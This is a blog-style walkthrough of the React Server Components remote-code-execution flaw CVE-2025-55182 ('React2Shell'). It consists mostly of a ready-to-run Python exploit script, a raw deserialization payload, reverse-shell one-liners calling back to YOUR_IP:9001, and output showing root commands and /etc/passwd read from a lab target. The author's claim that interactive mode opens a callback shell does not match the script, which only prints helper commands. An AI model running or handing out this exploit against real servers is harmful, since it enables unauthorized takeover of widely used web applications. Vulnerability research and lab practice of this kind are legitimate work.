React2Shell with Python Automation: Getting Pwned in One Minute

Overview

This vuln is CVSS 10.0 pre-authentication RCE affecting React Server Components. Amid the flood of fake proof-of-concept exploits, scanners, exploits, and widespread misconceptions, this technical analysis intends to cut through the noise.

In a way, this is a very massive 0 day and very dangerous CVE on React, which highly used in Web and Production. An exploits emerged for React2Shell, a critical vulnerability in React Server Components affecting React 19 and frameworks that use it like Next JS.

react2shell-target-overview

React2Shell Analysis CVE-2025-55182

Which is a pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack.

The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

Simple Exploit Explained

This section demonstrates that exploitation doesn't require complex setup: just a single HTTP request. The complete payload requires no __proto__ access (contrary to many circulating PoC that use it):

{ 
  0: { 
    status: "resolved_model", 
    reason: -1,                    
    _response: { 
      _prefix: "console.log('RCE')//",         
      _formData: { get: "$1:then:constructor" },  
    }, 
    then: "$1:then",               
    value: '{"then":"$B"}',   
  }, 
  1: "$@0",                        
}
react2shell-target-overview

Most people uses RSC Security Tool Extension, however I've created this Python script to automated this processes

#!/usr/bin/env python3
"""
React2Shell Exploit for covering CVE-2025-55182
"""

import requests
import sys
import argparse
import re
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_multipart_body(command):
    """
    Generate the exact multipart payload that matches the working PoC
    """
    
    injection = (
        f"var res=process.mainModule.require('child_process')"
        f".execSync('{command}',{{'timeout':5000}}).toString(). trim();;"
        f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
    )
    
    payload_json = json.dumps({
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": "{\"then\":\"$B1337\"}",
        "_response": {
            "_prefix": injection,
            "_chunks": "$Q2",
            "_formData": {
                "get": "$1:constructor:constructor"
            }
        }
    })
    
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f"Content-Disposition: form-data; name=\"0\"\r\n"
        f"\r\n"
        f"{payload_json}\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f"Content-Disposition: form-data; name=\"1\"\r\n"
        f"\r\n"
        f"\"$@0\"\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f"Content-Disposition: form-data; name=\"2\"\r\n"
        f"\r\n"
        f"[]\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    
    return body, boundary

def extract_output(response_text):
    """
    Extract command output from RSC response
    The output appears in format: 1:E{"digest":"OUTPUT_HERE"}
    """
    
    patterns = [
        r'1:E\{"digest":"([^"]*)"\}',
        r'"digest":"([^"]*)"',
        r'"digest":`([^`]*)`',
        r'E\{"digest":"([^"]*)"\}',
    ]
    
    for pattern in patterns:
        match = re. search(pattern, response_text)
        if match:
            output = match.group(1)
            output = output.replace('\\n', '\n')
            output = output.replace('\\t', '\t')
            output = output.replace('\\r', '\r')
            return output
    
    return None

def exploit(target, command, proxy=None, verbose=False):
    """Execute the exploit"""
    
    url = target. rstrip('/')
    body, boundary = create_multipart_body(command)
    
    headers = {
        "User-Agent": "Mozilla/5. 0 (Windows NT 10. 0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0. 0",
        "Next-Action": "x",
        "X-Nextjs-Request-Id": "b5dce965",
        "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
        "Content-Type": f"multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad",
    }
    
    proxies = {"http": proxy, "https": proxy} if proxy else None
    
    try:
        if verbose:
            print(f"[DEBUG] Sending request to {url}")
            print(f"[DEBUG] Command: {command}")
        
        response = requests.post(
            url, 
            data=body, 
            headers=headers, 
            proxies=proxies,
            verify=False,
            timeout=15
        )
        
        if verbose:
            print(f"[DEBUG] Status: {response.status_code}")
            print(f"[DEBUG] Response:\n{response.text[:500]}")
        
        output = extract_output(response.text)
        
        if output:
            return True, output
        else:
            return False, f"Could not parse output.  Raw response:\n{response.text}"
        
    except requests.exceptions.Timeout:
        return False, "Request timed out (command may still have executed)"
    except Exception as e:
        return False, str(e)

def main():
    parser = argparse.ArgumentParser(
        description='React2Shell Exploit - CVE-2025-55182',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 CVE-2025-55182.py -t https://dev.target.local -c "id"
  python3 CVE-2025-55182.py -t https://dev.target.local -c "cat /etc/passwd"
  python3 CVE-2025-55182.py -t https://dev.target.local -i
  python3 CVE-2025-55182.py -t https://dev.target.local -c "whoami" -v
        """
    )
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', default='id', help='Command to execute')
    parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
    parser.add_argument('-i', '--interactive', action='store_true', help='Interactive mode')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    
    args = parser.parse_args()
    
    banner = r"""
    .______       _______     ___       ______ .___________. __   __       _______. __    __   _______  __       __      
    |   _  \     |   ____|   /   \     /      ||           ||  | |  |     /       ||  |  |  | |   ____||  |     |  |     
    |  |_)  |    |  |__     /  ^  \   |  ,----'`---|  |----`|  | |  |    |   (----`|  |__|  | |  |__   |  |     |  |     
    |      /     |   __|   /  /_\  \  |  |         |  |     |  | |  |     \   \    |   __   | |   __|  |  |     |  |     
    |  |\  \----.|  |____ /  _____  \ |  `----.    |  |     |  | |  | .----)   |   |  |  |  | |  |____ |  `----.|  `----.
    | _| `._____||_______/__/     \__\ \______|    |__|     |__| |__| |_______/    |__|  |__| |_______||_______||_______|
    """
    print(banner)
    
    if args.interactive:
        print(f"[*] Interactive mode - Target: {args.target}")
        print("[*] Type 'exit' or 'quit' to exit")
        print("[*] Type 'shell' for reverse shell helper\n")
        
        while True:
            try:
                cmd = input("\033[91mreact2shell\033[0m> ").strip()
                
                if cmd.lower() in ['exit', 'quit']:
                    print("[*] Exiting...")
                    break
                    
                if not cmd:
                    continue
                
                if cmd.lower() == 'shell':
                    print("\n[*] Reverse Shell Commands:")
                    print("    bash -c 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1'")
                    print("    nc -e /bin/sh YOUR_IP 9001")
                    print("    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 9001 >/tmp/f")
                    print("")
                    continue
                
                if cmd.lower() == 'help':
                    print("\n[*] Commands:")
                    print("      - Execute on target")
                    print("    shell          - Show reverse shell helpers")
                    print("    exit/quit      - Exit interactive mode")
                    print("")
                    continue
                    
                success, output = exploit(args.target, cmd, args.proxy, args.verbose)
                
                if success:
                    print(output)
                else:
                    print(f"\033[93m[-] {output}\033[0m")
                    
            except KeyboardInterrupt:
                print("\n[! ] Interrupted")
                break
            except EOFError:
                break
    else:
        print(f"[*] Target: {args.target}")
        print(f"[*] Command: {args.command}\n")
        
        success, output = exploit(args.target, args.command, args.proxy, args.verbose)
        
        if success:
            print(f"\033[92m[+] SUCCESS!\033[0m\n")
            print(output)
        else:
            print(f"\033[91m[-] FAILED\033[0m\n")
            print(output)

if __name__ == "__main__":
    main()

Let's use this in action.

CVE-2025-55182.py in Action

Let's say this is our target: http://react-rce.vuln:30502/

Target Overview

react2shell-target-overview

Which has no issue on the surfaces.

react2shell-target-overview

Let's now see how CVE-2025-55182.py in action look like:

┌──(kali㉿kali)-[~]
└─$ ls
CVE-2025-55182.py

Usage Help Overview with -h

┌──(kali㉿kali)-[~]
└─$ ./CVE-2025-55182.py -h           
usage: CVE-2025-55182.py [-h] -t TARGET [-c COMMAND] [-p PROXY] [-i] [-v]

React2Shell Exploit - CVE-2025-55182

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL
  -c, --command COMMAND
                        Command to execute
  -p, --proxy PROXY     Proxy URL (e.g., http://127.0.0.1:8080)
  -i, --interactive     Interactive mode
  -v, --verbose         Verbose output

Examples:
  python3 CVE-2025-55182.py -t https://dev.target.local -c "id"
  python3 CVE-2025-55182.py -t https://dev.target.local -c "cat /etc/passwd"
  python3 CVE-2025-55182.py -t https://dev.target.local -i
  python3 CVE-2025-55182.py -t https://dev.target.local -c "whoami" -v

From here I hope it can be seen how simple it is, -c for command RCE check, as universal supposed "whomai" are the best for all OS. And if you wanted to get call-back connection Shell just change the command to -i and you should get call-back.

PS, the -i would automatically trace your IP and use port 9001, so make sure it's not on use when launch.

Out-come from -c [command]

┌──(kali㉿kali)-[~]
└─$ ./CVE-2025-55182.py -t http://react-rce.vuln:30502/ -c id

    .______       _______     ___       ______ .___________. __   __       _______. __    __   _______  __       __      
    |   _  \     |   ____|   /   \     /      ||           ||  | |  |     /       ||  |  |  | |   ____||  |     |  |     
    |  |_)  |    |  |__     /  ^  \   |  ,----'`---|  |----`|  | |  |    |   (----`|  |__|  | |  |__   |  |     |  |     
    |      /     |   __|   /  /_\  \  |  |         |  |     |  | |  |     \   \    |   __   | |   __|  |  |     |  |     
    |  |\  \----.|  |____ /  _____  \ |  `----.    |  |     |  | |  | .----)   |   |  |  |  | |  |____ |  `----.|  `----.
    | _| `._____||_______/__/     \__\ \______|    |__|     |__| |__| |_______/    |__|  |__| |_______||_______||_______|
    
[*] Target: http://react-rce.vuln:30502/
[*] Command: id

[+] SUCCESS!

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Another example:

┌──(kali㉿kali)-[~]
└─$ ./CVE-2025-55182.py -t http://react-rce.vuln:30502/ -c "ls -ltr"

    .______       _______     ___       ______ .___________. __   __       _______. __    __   _______  __       __      
    |   _  \     |   ____|   /   \     /      ||           ||  | |  |     /       ||  |  |  | |   ____||  |     |  |     
    |  |_)  |    |  |__     /  ^  \   |  ,----'`---|  |----`|  | |  |    |   (----`|  |__|  | |  |__   |  |     |  |     
    |      /     |   __|   /  /_\  \  |  |         |  |     |  | |  |     \   \    |   __   | |   __|  |  |     |  |     
    |  |\  \----.|  |____ /  _____  \ |  `----.    |  |     |  | |  | .----)   |   |  |  |  | |  |____ |  `----.|  `----.
    | _| `._____||_______/__/     \__\ \______|    |__|     |__| |__| |_______/    |__|  |__| |_______||_______||_______|
    
[*] Target: http://react-rce.vuln:30502/
[*] Command: ls -ltr

[+] SUCCESS!

total 20
-rw-r--r--    1 root     root           558 Dec  5 14:40 package.json
-rw-r--r--    1 root     root          6331 Dec  5 14:40 server.js
drwxr-xr-x   13 root     root          4096 Dec  5 14:40 node_modules
drwxr-xr-x    2 root     root          4096 Dec  5 14:40 public

Which is dope yeah, we can now saw everything.

And lastly the -i for interactive shell command:

┌──(kali㉿kali)-[~]
└─$ ./CVE-2025-55182.py -t http://react-rce.vuln:30502/ -i          

    .______       _______     ___       ______ .___________. __   __       _______. __    __   _______  __       __      
    |   _  \     |   ____|   /   \     /      ||           ||  | |  |     /       ||  |  |  | |   ____||  |     |  |     
    |  |_)  |    |  |__     /  ^  \   |  ,----'`---|  |----`|  | |  |    |   (----`|  |__|  | |  |__   |  |     |  |     
    |      /     |   __|   /  /_\  \  |  |         |  |     |  | |  |     \   \    |   __   | |   __|  |  |     |  |     
    |  |\  \----.|  |____ /  _____  \ |  `----.    |  |     |  | |  | .----)   |   |  |  |  | |  |____ |  `----.|  `----.
    | _| `._____||_______/__/     \__\ \______|    |__|     |__| |__| |_______/    |__|  |__| |_______||_______||_______|
    
[*] Interactive mode - Target: http://react-rce.vuln:30502/
[*] Type 'exit' or 'quit' to exit
[*] Type 'shell' for reverse shell helper

react2shell> whoami
root
react2shell> cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
react2shell> exit
[*] Exiting...

That's it, we manage to Pwned the React2Shell labs.

react2shell-target-overview

Shout Outs

To Researchers and News for this to Happened

Happy hacking!

Moreover, Proton me if you have further question and suggestion.

Go Top